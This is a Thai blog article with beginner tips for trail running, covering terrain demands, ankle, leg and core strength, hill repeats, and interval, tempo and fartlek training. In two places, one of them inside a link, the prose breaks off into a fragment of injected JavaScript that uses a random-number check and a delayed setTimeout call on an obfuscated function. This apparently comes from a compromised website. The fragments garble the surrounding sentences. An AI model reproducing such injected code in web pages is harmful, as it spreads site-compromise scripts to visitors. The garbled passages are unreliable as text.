การวิ่งแข่งขันบนสนามเทรล คือการแข่งขันระหว่าง นักวิ่ง และธรรมชาติ แต่ต่างกับการวิ่งแข่งขันบนทางเรียบ ที่เน้นความเร็วและการแข่งขันระหว่างนักวิ่งด้วยกัน แต่ข้อดีของการวิ่งเทรลคือคุณจะได้อยู่กับตัวเองมากขึ้น เป็นหนึ่งกับธรรมชาติ ทักษะการวิ่งจะถูกใช้มากกว่า สนุกไปกับลักษณะพื้นสนามมีความหลากหลาย คุณจะต้องไต่ กระโดด รวมไปถึง การไถลลงเขา เพิ่มอรรถรสในการวิ่งมากว่าทางเรียบ
3 Tips สำหรับ นักวิ่ง เทรลมือใหม่
เข้าใจ workload ที่นักวิ่งเทรล มือใหม่ต้องเจอ หรือเข้าใจ Demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ของสนามต่อร่างกาย
อย่างแรกที่เราควรรู้คือ การจะวิ่งให้เร็วเท่าทางเรียบจำเป็นต้องใช้พลังงานมากกว่าปกติ จังหวะลงขา การสับขา (stripe) ที่มีเปลี่ยนแปลงตลอดเวลาขึ้นอยู่กับสภาพพื้นผิวสนาม ลงจินตนาการดูครับว่า เวลาเราขับรถบนทางเรียบ เราจะสามารถเร่งรอบเครื่องยนต์และเข้าเกียร์ได้ต่อเนื่อง เริ่มไต่ระดับความเร็วเป็นสเตปๆ จังหวะเข้าเกียร์ก็ไหลลื่น ไม่มีการสะดุด แต่ถ้าหากคุณลองมาขับรถวิบาก ทางลูกขรุขระลูกรัง ดูสิครับ มีการเปลี่ยนจังหวะรอบเครื่องยนต์ ปรับเปลี่ยนเกียร์ให้เหมาะสมกับพื้นถนนต่อเวลา ไม่มีจังหวะให้ขับรถนิ่งๆ ทำรอบได้ต่อเนื่อง มีการเข้าเกียร์ต่ำเพื่อเร่งพลังในการไต่เขา หรือ ลงเขาสลับไปมา
สิ่งที่คุณจำเป็นต้องมี นั่นก็คือ การมีข้อเท้าที่แข็งแรง (Strong ankles) เพราะพื้นสนามไม่เรียบ พื้นสนามเทรลมีความขรุขระ มีความชัน พื้นถนนไม่ได้ลาดยางเรียบสนิท การลงเท้าแต่ละครั้งจึงจำเป็นที่จะต้องมีความมั่นคง
ต่อจากข้อขา ก็ต้องมาต่อที่ ข้อเข่า เอว หรือจุดทั้งหลายที่เราต้องใช้ในการขับผลักดันร่างกายไปข้างหน้า และอย่าลืมกล้ามเนื้อแก่นกลางหรือ core muscle ด้วยละครับ มีความสำคัญในการสร้างสมดุลซ้ายขวา สำคัญมากเวลาวิ่งลงเขา หรือช่วงเวลาวิ่งบนทางขรุขระ จังหวะที่ต้องลงขาเดียว จังหวะการกระโดดไปมา
เน้นการฝึกกล้ามเนื้อ
หลังจากเรารู้แล้วว่า เราต้องสร้างความแข็งแรงให้กับกล้ามเนื้อช่วง Lower และ core เป็นพิเศษ เพื่อสร้างพละกำลังและความแข็งแกร่งในการต่อกรกับความชัน เราจะมีวิธีฝึกอย่างไรบ้าง…ฝึกวิ่งขึ้นทางชัน หรือฝึกวิ่งขึ้นบันได รวมกันแล้วขออนุญาตเรียกว่า Hill repeats นะครับ เป็นการฝึก drill อย่างหนึ่งให้กล้ามเนื้อมีความขุนเคยการการวิ่งขึ้นทางชัน ที่สำคัญเป็นการสร้างความแข็งแรงให้กล้ามเนื้อขาและช่วงล่างไดอย่างดี…นี้ยังไม่นับอัตราการเต้นของหัวใจที่เพิ่มขึ้นด้วยระหว่างวิ่งขึ้น
เรามาดูวิธีการวิ่งจากคลิปนี้กันครับ
หลักๆ ก็คือ ยกเขาสูงเพื่อหนีความชันและลงก้าวสั้นๆ โน้มร่างกายไปข้างหน้าเล็กน้อย
ฝึกการวิ่งแบบ interval, tempo หรือ farlek
จุดประสงค์ของการฝึกนอกจากจะช่วยเพิ่มความแข็งแกร่งให้ร่างกายแล้ว ยังช่วยให้เราคุ้นชินกับการปรับเปลี่ยนจังหวะการวิ่งและการทำงานของหัวใจและปอดที่เพิ่มมากขึ้นระหว่างไต่เขา ตัวอย่างการฝึกandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andeatwell.co.uk/2016/06/13/%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B9%84%E0%B8%A3%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B9%80%E0%B8%9B%E0%B9%87%E0%B8%99-fartlek/” target=”_blank” rel=”noopener”> Fartlek
ก่อนจากกันขอแถมท้ายด้วยการฝึกกล้ามเนื้อสำหรับนักวิ่ง ทดลองเอาไปฝึกดูนะครับ
